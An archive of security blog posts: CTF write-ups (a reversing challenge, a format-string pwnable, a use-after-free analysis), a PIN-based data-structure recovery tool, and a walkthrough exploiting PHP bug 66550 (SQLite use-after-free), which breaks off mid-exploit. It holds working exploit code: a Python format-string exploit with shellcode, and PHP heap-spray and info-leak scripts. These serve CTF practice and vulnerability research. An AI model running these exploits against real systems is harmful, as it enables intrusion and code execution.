Wednesday, April 29, 2015

CONFidence DS CTF Teaser 2015 - So Easy - Reverse Engineering

We were given a 32 bit ELF which validates the flag. main function reads user input, converts lower case to upper case, upper case to lower case, then compares with string dRGNs{tHISwASsOsIMPLE}. But this is not the flag, there is something else happening. Lets check the .init_array

gdb-peda$ maintenance info sections

 [16]     0x8048d2c->0x8049120 at 0x00000d2c: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS
 [17]     0x804af04->0x804af0c at 0x00001f04: .init_array ALLOC LOAD DATA HAS_CONTENTS
 [18]     0x804af0c->0x804af10 at 0x00001f0c: .fini_array ALLOC LOAD DATA HAS_CONTENTS
 [19]     0x804af10->0x804af14 at 0x00001f10: .jcr ALLOC LOAD DATA HAS_CONTENTS
 [20]     0x804af14->0x804affc at 0x00001f14: .dynamic ALLOC LOAD DATA HAS_CONTENTS

gdb-peda$ x/4x 0x804af04
0x804af04: 0x080488be 0x08048570 0x08048550 0x00000000

0x080488be is priority constructor, which does some operation before main is executed. Below are the operations of the constructor

[*] Overwrite GOT entry of printf with address of function calling strlen
[*] Call calloc(32, 4)
[*] Then registers a series of destructors using ___cxa_atexit
[*] First destructor registered is the key validation routine, followed by a series of destructor to write a single DWORD to the calloc memory
.text:080488DE                 mov     [ebp+plt_printf], 8048412h
.text:080488E5                 mov     eax, [ebp+plt_printf]
.text:080488E8                 mov     eax, [eax]
.text:080488EA                 mov     [ebp+addr_printf], eax
.text:080488ED                 mov     eax, [ebp+addr_printf]
.text:080488F0                 mov     dword ptr [eax], offset strlen_w ; overwrite with strlen
.text:080488F6                 mov     dword ptr [esp+4], 4 ; size
.text:080488FE                 mov     dword ptr [esp], 32 ; nmemb
.text:08048905                 call    _calloc
.text:0804890A                 mov     ds:calloc_address, eax
.text:0804890F                 mov     dword ptr [esp], offset check_key
.text:08048916                 call    register_destructor
.text:0804891B                 mov     dword ptr [esp], offset a
.text:08048922                 call    register_destructor
.text:08048927                 mov     dword ptr [esp], offset b
Then the program goes into main, reads and modifies user input as mentioned earlier. Later, __run_exit_handlers executes the destructors in the reverse order. Finally, check_key validates the key.
gdb-peda$ break *0x000000000804873C
Breakpoint 1 at 0x804873c

gdb-peda$ heap used
Used chunks of memory on heap
-----------------------------
     0: 0x0804c008 -> 0x0804c08f      136 bytes uncategorized::136 bytes |64 00 00 00 52 00 00 00 47 00 00 00 4e 00 00 00 73 00 00 00 7b 00 00 00 6e 00 00 00 4f 00 00 00 |d...R...G...N...s...{...n...O...|
User supplied flag is is case converted and compared with the bytes found above. So flag for the challenge is DrgnS{NotEvenWarmedUp}

Wednesday, April 22, 2015

Plaid CTF 2015 - Pwnables - EBP Solution and ProdManager Analysis

EBP is a simple 32 bit ELF with NX disabled. Its an echo server with format string vulnerability. Data received using fgets is passed on to snprint call
.text:08048557                 mov     eax, ds:stdin@@GLIBC_2_0
.text:0804855C                 mov     [esp+8], eax    ; stream
.text:08048560                 mov     dword ptr [esp+4], 1024 ; n
.text:08048568                 mov     dword ptr [esp], offset buf ; s
.text:0804856F                 call    _fgets

.text:08048503                 mov     dword ptr [esp+8], offset buf ; format
.text:0804850B                 mov     dword ptr [esp+4], 1024 ; maxlen
.text:08048513                 mov     dword ptr [esp], offset response ; s
.text:0804851A                 call    _snprintf
The format string vulnerability in make_response() call will enable to read data starting from make_reponse stack frame. This is what call stack looks like, main -> echo -> make_response. But we have an issue, format string is not located in stack. Hence we cannot pass arbitrary address to perform a memory write

So we decided to reuse saved EBP pointer in make_response's stack frame as target to overwrite. This will end up overwriting saved EBP in echo() stack frame. When echo returns, leave instruction will set EBP to this overwritten address. Then when main() returns, EIP will be read from EBP+4 during ret instruction. Since EBP is controlled, we can control also EIP.

But main returns only when fgets() returns 0. To achieve this we shutdown half of socket using SHUT_WR, hence fgets() will return 0 on reading from socket. Still we can receive the data sent by our payload executing in echo server. Below is the exploit

#!/usr/bin/env python

import sys
import time
import socket
import struct
import telnetlib

ip = '127.0.0.1'
ip = '52.6.64.173'
port = 4545

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

def push(string):
    
    length = len(string)
    if (length % 4) != 0:
        string = '/' * (4 - (length % 4)) + string

    pushop = chr(0x68)
    payload = ''
    for i in range(0, len(string), 4):
        sub = string[i:i+4]
        payload = (pushop + sub) + payload
    return payload

shellcode = ("\x31\xc0\x50" +
            push("/home/problem/flag.txt") + 
            "\x89\xE7\x50" +
            push("/bin/cat") +
            "\x89\xe3"+
            "\x50\x57" +
            "\x53\x89\xE1\x89\xc2\xb0\x0b"+
            "\xcd\x80\x31\xc0\x40\xcd\x80")

fmt_len = 16
fake_ebp = 0x0804A080 + fmt_len 
fake_eip = fake_ebp + 8

payload  = "%." + str(fake_ebp) + "u%4$n" 
payload += struct.pack("<I", fake_ebp+200) # fake_ebp
payload += struct.pack("<I", fake_eip)     # controlled eip
payload += shellcode

print "[*] Sending format string payload"
soc.send(payload + chr(0xa))

print "[*] Half close socket to trigger payload"
soc.shutdown(socket.SHUT_WR)

print "[*] Waiting for data"
s = telnetlib.Telnet()
s.sock = soc
f = s.read_all().split(chr(0xa))[1]
print f

Flag for the challenge is who_needs_stack_control_anyway?

ProdManager - Use After free

prodmanager is a 32 bit ELF with ASLR+NX enabled. I couldn't solve the challenge during the CTF, but here is my analysis.

The binary reads flag file into memory and provides the following options:
Menu options:
1) Create a new product 
2) Remove a product 
3) Add a product to the lowest price manager 
4) See and remove lowest 3 products in manager 
5) Create a profile (Not complete yet)
Input:
Creating a new product, calls a malloc(76) and there is series of other operations. Lets trace creation of 10 new products using data structure recovery tool
$ pin -t obj-ia32/structtrace.so -- programs/prodmanager
$ python structgraph.py --filename StructTrace --bss --relink --nullwrite 
Below is the visualization of memory access and it looks like a doubly-linked list. 2nd DWORD being next pointer and 3rd DWORD being previous pointer. Also 2 pointers are maintained in bss memory, one is pointer[0x0804c1d8] to head of list and other is pointer[0x0804c1dc] is tail of list.



struct node
{
    int price;
    struct node *next;
    struct node *prev;
    int a;
    int b;
    int c;
    char name[50];
};
Creating 3 products and adding it to lowest price manager leaves us with this.



We could infer that lot of references are added to nodes from other nodes and even from bss memory ranging from [0x0804c180 - 0x0804c1d8]. Also, this could be the structure
struct node
{
    int price;
    struct node *next;
    struct node *prev;
    struct node *a;
    struct node *b;
    struct node *c;
    char name[50];
};
The use-after-free vulnerability

Removing a product using option 2, unlinks the node from doubly linked list but doesn't clear references to it created with option 3. To trigger the issue

[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] See and remove lowest 3 products in manager

Setting MALLOC_PERTURB_=204, this is what we get
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xcccccccc 
EBX: 0xf7fb4000 --> 0x1a9da8 
ECX: 0x0 
EDX: 0x804d0a8 --> 0xcccccccc 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffcc28 --> 0xffffcc58 --> 0xffffcc78 --> 0x0 
ESP: 0xffffcbd0 --> 0xc0 
EIP: 0x804955c (mov    edx,DWORD PTR [eax+0x14])
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049553: mov    eax,DWORD PTR [ebp+0x8]
   0x8049556: mov    eax,DWORD PTR [eax+0x4]
   0x8049559: mov    eax,DWORD PTR [eax+0xc]
=> 0x804955c: mov    edx,DWORD PTR [eax+0x14]
EAX has value fetched from freed memory. Create profile option also allocates 76 bytes, which is equal to the product object. So this option could be used to reallocate the same memory with user controlled data for further exploitation.

[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] Create a profile
[*] See and remove lowest 3 products in manager

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0xf7fb4000 --> 0x1a9da8 
ECX: 0x0 
EDX: 0x804d0a8 ('A' , "\n")
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffcc28 --> 0xffffcc58 --> 0xffffcc78 --> 0x0 
ESP: 0xffffcbd0 --> 0xc0 
EIP: 0x804955c (mov    edx,DWORD PTR [eax+0x14])
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049553: mov    eax,DWORD PTR [ebp+0x8]
   0x8049556: mov    eax,DWORD PTR [eax+0x4]
   0x8049559: mov    eax,DWORD PTR [eax+0xc]
=> 0x804955c: mov    edx,DWORD PTR [eax+0x14]
EAX points to 0x41414141
Used chunks of memory on heap
-----------------------------
     0: 0x0804d008 -> 0x0804d057       80 bytes uncategorized::80 bytes |01 00 00 00 58 d0 04 08 00 00 00 00 00 00 00 00 58 d0 04 08 a8 d0 04 08 31 0a 00 00 00 00 00 00 |....X...........X.......1.......|
     1: 0x0804d058 -> 0x0804d0a7       80 bytes uncategorized::80 bytes |02 00 00 00 00 00 00 00 08 d0 04 08 08 d0 04 08 00 00 00 00 00 00 00 00 32 0a 00 00 00 00 00 00 |........................2.......|
     2: 0x0804d0a8 -> 0x0804d0f7       80 bytes   C:string data:None |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|
From here, one needs to setup fake pointers such that the program shouldn't crash and also dump the flag from memory. Full solution for the challenge is here

Monday, April 13, 2015

Data Structure Recovery using PIN and PyGraphviz

This is a simple POC PIN tool to recover data structures in dynamically linked stripped executables, mainly for analyzing small programs. The PIN tool keeps track of heap allocations done by executable and traces all the write operations to the allocated heap memory. The trace file having allocations and write operations will be used to generate graph using pygraphviz.

Tracing Size and Address of Allocations

Size of Allocation

Right now, we track libc functions malloc, realloc, calloc, sbrk, mmap and free. All these routines are instrumented using Rtn_InsertCall to fetch the size of requested allocation.

For example, for tracing malloc
RTN_InsertCall( rtn,
                    IPOINT_BEFORE,
                    (AFUNPTR)AllocBefore,
                    IARG_ADDRINT,
                    funcname,
                    IARG_G_ARG0_CALLEE,
                    IARG_RETURN_IP,
                    IARG_END);

We fetch the size of requested allocation using IARG_G_ARG0_CALLEE and IPOINT_BEFORE. Also, we need to identify the malloc calls that are only called from our main executable. To find this we use IARG_RETURN_IP to check if the return address of the call is part of main executable, if not we don't trace the allocation.

Address of Allocation

IARG_RETURN_IP is valid only at function entry point, so we cannot use IPOINT_AFTER along with IARG_RETURN_IP. As a work around, we save the return address during IPOINT_BEFORE. Then in instruction trace, if instruction pointer equals return address of an allocation call, we fetch the EAX value. This gives the address of allocation.
if (insaddr == retaddress){
        INS_InsertCall( ins,
                IPOINT_BEFORE,
                (AFUNPTR)AllocAfter,
                #ifdef __i386__ 
                IARG_REG_VALUE, LEVEL_BASE::REG_EAX,
                #else
                IARG_REG_VALUE, LEVEL_BASE::REG_RAX,
                #endif
                IARG_END);
}
Now we have both address and size of allocation. These details are stored as dictionary as pairs of address : size. Also we don't remove an address when free is called upon that, instead if an already existing address is returned during an allocation call ie. reallocation, we just update the size of existing allocation for the new allocation request.
if(allocations.count(address) == 0) {
        allocations.insert(std::make_pair(address, allocsize));
}
else {
        std::map::iterator it = allocations.find(retval);
        it->second = allocsize;
}

.data and .bss sections

data and bss sections are also added to dictionary. The size and address of these segments are fetched from main executable and added as part of allocations
if(!strcmp(sec_name.c_str(), ".bss") || !strcmp(sec_name.c_str(), ".data")) {

                ADDRINT addr = SEC_Address(sec);
                USIZE size = SEC_Size(sec);

                if(allocations.count(addr) == 0) {
                    allocations.insert(std::make_pair(addr, size));
                }
}
Tracing Memory Writes

We trace instructions that writes into the allocated memory. As of now only XED_ICLASS_MOV class of instructions are traced. For all XED_ICLASS_MOV instruction, we check if its a memory write instruction using INS_IsMemoryWrite and is part of main executable.

In this case, we fetch the destination address of write operation using IARG_MEMORYWRITE_EA. Then we check if the destination address is part of any allocation, on success this instruction is traced.
for (it = allocations.begin(); it != allocations.end(); it++) {
        if ((des_addr >= it->first) && (des_addr < it->first+it->second)) return true;
}
Sample Trace

.data[0x804b02c,0x8]
.bss[0x804b040,0xfc4]
0x8048560@sbrk[0x420]
ret[0x98de000]
0x8048565 @mov dword ptr [0x804c000], eax             : WRREG MEM[0x804c000] VAL[0x98de000]
0x8048575 @mov dword ptr [eax+0x8], 0x0               : WRIMM MEM[0x98de008] VAL[0]
0x804857f @mov dword ptr [edx+0x4], eax               : WRREG MEM[0x98de004] VAL[0]
0x8048587 @mov dword ptr [eax], 0x10                  : WRIMM MEM[0x98de000] VAL[0x10]
0x80485a0 @mov dword ptr [eax+0x4], edx               : WRREG MEM[0x98de004] VAL[0x98de010]
0x80485ac @mov dword ptr [eax+0x8], edx               : WRREG MEM[0x98de018] VAL[0x98de000]
Graphing

Node Create

For each allocation in trace file generated by PIN tool, a new node is created in the graph. Each node is uniquely identified using a node id which is assigned sequentially. An ordered dictionary is maintained, key being node id and value is dictionary of address and size of allocation. New allocations are added to the start of ordered dictionary.

An edge count is associated with each of created node. This will be used for pruning away nodes without any edges.

Separate nodes are created for bss and data sections. But this is optional.

Example

Say a structure is allocated in heap using malloc, this is how a node will look like
0x80488c5@malloc[0x20]
ret[0x8fcf030]

-------------------
| [0] 0x8fcf030   |
-------------------
[0] is the node id, this could signify the order of allocation. Every new allocator call gets a new id, irrespective of the return address

0x8fcf030 is the address returned by allocator call

Node Update

For each instruction, fetch the target address of write operation. If the target address is part of any allocation, update the node to which the target address belongs to. Basically we create a new port in the record node.

A new port signifies an element of an allocation, say element of a structure.

Then check if the source value is part of any allocation. If yes, we consider the source value as an address. Then update the node to which the source address belongs to. This operation could be interpreted as a pointer assignment [or link creation]
0x80488c5@malloc[0x20]
ret[0x8fcf030]
0x8048957 @mov byte ptr [eax+edx*1], 0x0      : WRIMM MEM[0x8fcf031] VAL[0]
0x80489bb @mov dword ptr [eax+0x14], edx      : WRREG MEM[0x8fcf044] VAL[0x8fcf058]
0x8048a40 @mov dword ptr [eax+0x18], edx      : WRREG MEM[0x8fcf048] VAL[0x8fcf008]
0x8048a4e @mov dword ptr [eax+0x1c], edx      : WRREG MEM[0x8fcf04c] VAL[0x8fcf008]
-------------------------------------------------------------------------
| [0] 0x8fcf030   | 0x8fcf031  | 0x8fcf044  |  0x8fcf048  |  0x8fcf04c  |
-------------------------------------------------------------------------
Now first field [0] 0x8fcf030 is the meta data for the chunk ie node id and return address of allocator call. The rest of 4 fields signifies 4 individual write operations into this allocation [example, 4 elements of a structure]

Create Link

If both source and destination values are valid address and belongs to a traced allocation, we link both ports of the nodes. Whenever a link is created, edge count of source and destination are incremented.

Similarly, during memory overwrite an edge is removed and edge count is decremented.

Example,
0x804882a@malloc[0x20]
ret[0x8fcf008]
…...

0x80488c5@malloc[0x20]
ret[0x8fcf030]
…...
0x80489bb @mov dword ptr [eax+0x14], edx             : WRREG MEM[0x8fcf044] VAL[0x8fcf058]
0x8048a40 @mov dword ptr [eax+0x18], edx             : WRREG MEM[0x8fcf048] VAL[0x8fcf008]
0x8048a4e @mov dword ptr [eax+0x1c], edx             : WRREG MEM[0x8fcf04c] VAL[0x8fcf008]
Above is a series of pointer writes into memory allocated at 0x8fcf030. The address points to another allocation at 0x8fcf008. Hence we link both

Prune Node

Finally after parsing all instructions, remove nodes that doesn't have any edges. For this, check if the edge count for a node is 0. If yes, remove the node.

Other Options

By default, we consider only the first non-NULL write operation for node update and link creation. This might be good enough to reveal some of data structures. Any memory writes to an address after first write non-NULL are skipped. But one can use relink option to consider more than single write operation for graphing. This could be useful when relink operations are done, say circular linked list.

NULL writes can also be enabled as option. This might be useful along with relink.

The tool itself doesn't itself have the intelligence to say what data structure is used, but can graph the allocation and links to help someone understand a data structure from the revealed shape.

Example - Singly Linked List

Example - Binary Tree



Example - HackIM Mixme Circular Doubly Linked List



The POC code which I use for CTF is available here. To repeat again, this works on small binaries, as things get complex the graph might make less sense. There is lot of scope for improvement though.

References

AES Whitebox Unboxing: No Such Problem, this served as excellent reference for the usage of PIN tool and pygraphviz to visualize memory access

Thanks to Danny K, for help with Intel PIN Framework.

Thursday, April 2, 2015

Exploiting PHP Bug #66550 - SQLite prepared statement use-after-free - [A local PHP exploit]

As the title says, this bug is useful only for post exploitation to bypass protections when the attacker already has arbitrary PHP code execution. Nevertheless, this was a good exploit exercise.

This SQLite prepared statement use-after-free was reported by Sean Heelan. Here is the link to the bug and detailed analysis Bug 66550 - SQLite prepared statement use-after-free.

The summary as per Sean - The sqlite3_close method, which is used to close a database connection, tears down the sqlite3_stmt objects associated with any prepared statements that have been created using the database. The prepared statements can still be accessed directly after this has occured, leading to a use-after-free condition.

Trigger

Let's check the POC provided by Sean, setting MALLOC_PERTURB_=204
<?php

$db = new SQLite3(':memory:');
$db->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$stmt = $db->prepare('SELECT bar FROM foo WHERE id=:id');
// Close the database connection and free the internal sqlite3_stmt object
$db->close();
// Access the sqlite3_stmt object via the php_sqlite3_stmt container
$stmt->reset();

?>

EAX: 0xcccccccc 
EBX: 0xb7420f28 --> 0xbae20 
ECX: 0x88c6000 --> 0x88c5d38 --> 0x1 
EDX: 0xb742cd66 --> 0x4c515300 ('')
ESI: 0x8a52e38 --> 0xcccccccc 
EDI: 0x0 
EBP: 0xb77cb0c8 --> 0x2 
ESP: 0xbfffb8a0 --> 0xb77cb0e4 --> 0x0 
EIP: 0xb73c290d (: mov    eax,DWORD PTR [eax+0xc])
EFLAGS: 0x210202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb73c2907 : test   esi,esi
   0xb73c2909 : je     0xb73c297d 
   0xb73c290b : mov    eax,DWORD PTR [esi]
=> 0xb73c290d : mov    eax,DWORD PTR [eax+0xc]
   0xb73c2910 : mov    DWORD PTR [esp],eax
   0xb73c2913 : call   0xb736fea0 
   0xb73c2918 : mov    eax,esi
   0xb73c291a : call   0xb73c18f0 

gdb-peda$ bt
#0  0xb73c290d in sqlite3_reset (pStmt=0x8a52e38) at sqlite3.c:64509
#1  0xb742b069 in zim_sqlite3stmt_reset (ht=0x0, return_value=0xb77cb0e4, return_value_ptr=0x0, this_ptr=0xb77cb0c8, return_value_used=0x0)
    at /build/buildd/php5-5.5.9+dfsg/ext/sqlite3/sqlite3.c:1316

gdb-peda$ x/100x 0x8a52e38
0x8a52e38: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e48: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e58: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e68: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e78: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e88: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e98: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ea8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52eb8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ec8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ed8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ee8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ef8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52f08: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
Clearly, some freed memory is being accessed.

Heap spray

Now, lets try reallocating the same memory using user controlled data. Allocations done by functions like str_repeat etc uses zend allocator, which goes into a separate mmap'ed region since large malloc requests are serviced using mmap during _zend_mm_alloc_int. Our freed object resides in glibc allocated heap region, so we need some heap operation that re-uses the glibc heap.

So, lets use SQLite operations to try and allocate this region. Idea was to use SQLite insert operations to control the freed structure. I created two databases, one to be freed and another to perform heap spray. Below is the POC.
<?php

error_reporting(0);

$db_spray = new SQLite3(':memory:');
$db_uaf   = new SQLite3(':memory:');

$db_spray->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db_uaf->exec('CREATE TABLE foo (id INTEGER, bar STRING)');

$stmt = $db_uaf->prepare('SELECT bar FROM foo WHERE id=:id');
$db_uaf->close();

for($i = 0; $i <= 300; $i++){
    $id  = (string) $i;
    $bar = chr($i) . str_repeat("A", 320);
    $db_spray->exec("INSERT INTO foo (id, bar) VALUES ({$id},'{$bar}')");
}
$stmt->reset();
?>
EAX: 0x41414141 ('AAAA')
EBX: 0xb7420f28 --> 0xbae20 
ECX: 0x88c6000 --> 0x88c5d38 --> 0x1 
EDX: 0xb742cd66 --> 0x4c515300 ('')
ESI: 0x8a654c0 ('A' ...)
EDI: 0x0 
EBP: 0xb77cc198 --> 0x3 
ESP: 0xbfffb8b0 --> 0x8a415a0 --> 0xb7421c20 --> 0x3 
EIP: 0xb73c290d (: mov    eax,DWORD PTR [eax+0xc])
EFLAGS: 0x210206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb73c2907 : test   esi,esi
   0xb73c2909 : je     0xb73c297d 
   0xb73c290b : mov    eax,DWORD PTR [esi]
=> 0xb73c290d : mov    eax,DWORD PTR [eax+0xc]

Danny quickly asked me to use BLOB data type as we could freely use binary data. Cool, using BLOB we have full control over freed structure.

Code Path to Control EIP

So how do we get code execution from here? Let's take a look at the structure we control.
/*
** The "sqlite3_stmt" structure pointer that is returned by sqlite3_prepare()
** is really a pointer to an instance of this structure.
*/

struct Vdbe {
  sqlite3 *db;            /* The database connection that owns this statement */
  Op *aOp;                 /* Space to hold the virtual machine's program */
  Mem *aMem;               /* The memory locations */
  Mem **apArg;             /* Arguments to currently executing user function */
  Mem *aColName;           /* Column names to return */
  Mem *pResultSet;         /* Pointer to an array of results */
  Parse *pParse;           /* Parsing context used to create this Vdbe */
  int nMem;               /* Number of memory locations currently allocated */
  int nOp;                 /* Number of instructions in the program */
  int nCursor;            /* Number of slots in apCsr[] */
  u32 magic;               /* Magic number for sanity checking */
  char *zErrMsg;           /* Error message written here */
  Vdbe *pPrev, *pNext;  /* Linked list of VDBEs with the same Vdbe.db */
  VdbeCursor **apCsr;      /* One element of this array for each open cursor */
  Mem *aVar;               /* Values for the OP_Variable opcode. */
  char **azVar;            /* Name of variables */
  ynVar nVar;              /* Number of entries in aVar[] */
 …..
 …..
  AuxData *pAuxData;      /* Linked list of auxdata allocations */
#ifdef SQLITE_ENABLE_STMT_SCANSTATUS
  i64 *anExec;            /* Number of times each op has been executed */
  int nScan;              /* Entries in aScan[] */
  ScanStatus *aScan;      /* Scan definitions for sqlite3_stmt_scanstatus() */
#endif
};

We could control the vdbe structure defined in vdbeInt.h after being freed. I analyzed sqlite3_reset routine to take control of EIP but there must be other code paths to achieve the same. Below are the code paths taken, check the comments for details
SQLITE_API int sqlite3_reset(sqlite3_stmt *pStmt){
  int rc;
  if( pStmt==0 ){
    rc = SQLITE_OK;
  }else{
    Vdbe *v = (Vdbe*)pStmt;
    sqlite3_mutex_enter(v->db->mutex); // set v->db->mutex to NULL
    rc = sqlite3VdbeReset(v);  // take this path
int sqlite3VdbeReset(Vdbe *p){
  sqlite3 *db;
  db = p->db;
  sqlite3VdbeHalt(p);   // take this path
int sqlite3VdbeHalt(Vdbe *p){
  int rc;                         
  sqlite3 *db = p->db;

  if( p->db->mallocFailed ){
    p->rc = SQLITE_NOMEM;
  }
  if( p->aOnceFlag ) memset(p->aOnceFlag, 0, p->nOnceFlag);
  closeAllCursors(p);   // take this path
static void closeAllCursors(Vdbe *p){
  if( p->pFrame ){    // set p->pFrame to NULL
    VdbeFrame *pFrame;
    for(pFrame=p->pFrame; pFrame->pParent; pFrame=pFrame->pParent);
    sqlite3VdbeFrameRestore(pFrame);
    p->pFrame = 0;
    p->nFrame = 0;
  }
  assert( p->nFrame==0 );

  if( p->apCsr ){   // take this path
    int i;
    for(i=0; i < p->nCursor; i++){
      VdbeCursor *pC = p->apCsr[i];
      if( pC ){
        sqlite3VdbeFreeCursor(p, pC);   // take this path

sqlite3VdbeFrameRestore is very interesting due to its arbitrary read and write as we control the VdbeFrame *pFrame. But I didn't use it
int sqlite3VdbeFrameRestore(VdbeFrame *pFrame){
  Vdbe *v = pFrame->v;
#ifdef SQLITE_ENABLE_STMT_SCANSTATUS
  v->anExec = pFrame->anExec;
#endif
  v->aOnceFlag = pFrame->aOnceFlag;
  v->nOnceFlag = pFrame->nOnceFlag;
  v->aOp = pFrame->aOp;
  v->nOp = pFrame->nOp;
  v->aMem = pFrame->aMem;
  v->nMem = pFrame->nMem;
  v->apCsr = pFrame->apCsr;
  v->nCursor = pFrame->nCursor;
  v->db->lastRowid = pFrame->lastRowid;
  v->nChange = pFrame->nChange;
  v->db->nChange = pFrame->nDbChange;
  return pFrame->pc;
}

void sqlite3VdbeFreeCursor(Vdbe *p, VdbeCursor *pCx){
  if( pCx==0 ){
    return;
  }
  sqlite3VdbeSorterClose(p->db, pCx);
  if( pCx->pBt ){   // set pCx->pBt to NULL
    sqlite3BtreeClose(pCx->pBt);
    /* The pCx->pCursor will be close automatically, if it exists, by
    ** the call above. */
  }
  else if( pCx->pCursor ){  // set pCx->pCursor to NULL
    sqlite3BtreeCloseCursor(pCx->pCursor);
  }
#ifndef SQLITE_OMIT_VIRTUALTABLE
  else if( pCx->pVtabCursor ){  // take this path
    sqlite3_vtab_cursor *pVtabCursor = pCx->pVtabCursor;
    const sqlite3_module *pModule = pVtabCursor->pVtab->pModule;
    assert( pVtabCursor->pVtab->nRef>0 ); 
    pVtabCursor->pVtab->nRef--;  
    pModule->xClose(pVtabCursor);  // control EIP
  }
#endif
}
Now we know the code path to take control of instruction pointer, sqlite3_reset -> sqlite3VdbeReset -> sqlite3VdbeHalt -> closeAllCursors -> sqlite3VdbeFreeCursor -> pModule->xClose(pVtabCursor)

We need to setup a series of fake structures such that pModule->xClose and pVtabCursor will point to user controlled data.

   struct Vdbe       struct sqlite3 
[   sqlite3 *db    ]-------->[ AAAA ] 
[     nCursor      ]         [ AAAA ] 
[VdbeCursor **apCsr]----|    [ AAAA ]  
[      nVar        ]    |    [sqlite3_mutex *mutex] 
                           |
                           |--->[apCsr[0] |...| apCsr[n]]
                                   |
                                   |
               struct VdbeCursor   |     
                    [sqlite3_vtab_cursor *pVtabCursor]
                                   |
      struct sqlite3_vtab_cursor   | 
                         [sqlite3_vtab *pVtab]   /* Virtual table of this cursor */
                                   |
             struct sqlite3_vtab   |
                      [sqlite3_module *pModule]
                                   |
          struct sqlite3_module    |     
                [int (*xClose)(sqlite3_vtab_cursor*)]

That's EIP control.

ASLR Bypass using Bruteforce

We need to precisely know the address of these fake structures in heap to take the interested code path and get the exploit working. Bruteforcing heap address is always an option, especially in 32 bit environments. In 32 bit environment, zend allocator using mmap will be having lesser entropy compared to the glibc heap. So pointers in struct Vdbe, could point to zend allocated memory to make bruteforce easier. Also since there is no randomization between mmap'ed region, bruteforcing one address should reveal the address of other libraries.

The case is different for 64 bit environment, heap address has less entropy in a non-PIE binary but rest of the regions have good randomization. For PIE binary, heap is also well randomized and bruteforce is not feasible.

ASLR Bypass using Information Leak

But let's see if we can leak some information using the UAF. This is what the documentation says,
(PHP 5 >= 5.3.0)
SQLite3Stmt::paramCount — Returns the number of parameters within the prepared statement

public int SQLite3Stmt::paramCount ( void )

And below is the implementation
/*
** Return the number of wildcards that can be potentially bound to.
** This routine is added to support DBD::SQLite.  
*/
int sqlite3_bind_parameter_count(sqlite3_stmt *pStmt){
  Vdbe *p = (Vdbe*)pStmt;
  return p ? p->nVar : 0;
}
By calling paramCount(), we could retrieve the value pointed by p->nVar in the already freed sqlite3_stmt structure. Now if we could perform some operations to pollute/allocate the freed SQLite3Stmt struct, with useful values like pointers, p->nVar can leak that pointer. I triggered a series of SQLlite operations and read $stmt->paramCount() values to get info leak about heap address. Since we have address of heap, fake structures could be setup and further arbitrary read could be achieved using SQLite SELECT statement [didn't explore this though].

Environment

Distributor ID: Ubuntu
Description: Ubuntu 14.04.2 LTS
Release: 14.04
Codename: trusty

$ php -v
PHP 5.5.9-1ubuntu4.7 (cli) (built: Mar 16 2015 20:48:03) 

SQLite3 support => enabled
SQLite3 module version => 0.7-dev
SQLite Library => 3.8.2
Exploit

Below is the exploit to get information leak and code execution bypassing ASLR+NX. Binary is non-PIE, hence I used gadgets from the executable. Even if its PIE, we could bypass this by stretching the info leak. The heap spray and offset may require some tinkering to get it working due to environment changes.
<?php

error_reporting(0);

function pad($num){
    return str_repeat(pack("L", 0x00000000), $num);
}

/* For information leak */

$db_spray = new SQLite3(':memory:');
$db_ileak = new SQLite3(':memory:');

$db_ileak->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$stmt = $db_ileak->prepare('SELECT bar FROM foo WHERE id=:id');
$db_ileak->close();

echo("[*] Triggering info leak using UAF". PHP_EOL);
$leaked_address = array();

/* massage heap */
for($i = 0; $i <= 80; $i++){
    $db_spray->exec('CREATE TABLE ' .chr($i). str_repeat('A', 0x140 + $i) . ' (id INTEGER, bar STRING)');

    /* info leak using paramCount */
    $count = $stmt->paramCount();
    $res   = $count & 0xff000000;
    if($res >= 0x08000000 && $res <= 0x0c000000)
    array_push($leaked_address, $count);
}

$heap = $leaked_address[0];
echo("[*] Leaked heap address = 0x" . dechex($heap) . PHP_EOL);
$db_spray->close();

/* offset to vdbe struct from leaked address */
$offset = 0x140e8;
$stmt_address = $heap+$offset;
echo("[*] Vdbe statement struct at address = 0x" . dechex($stmt_address) . PHP_EOL);

/* For code execution */

$db_exp    = new SQLite3(':memory:');
$db_spray  = new SQLite3(':memory:');

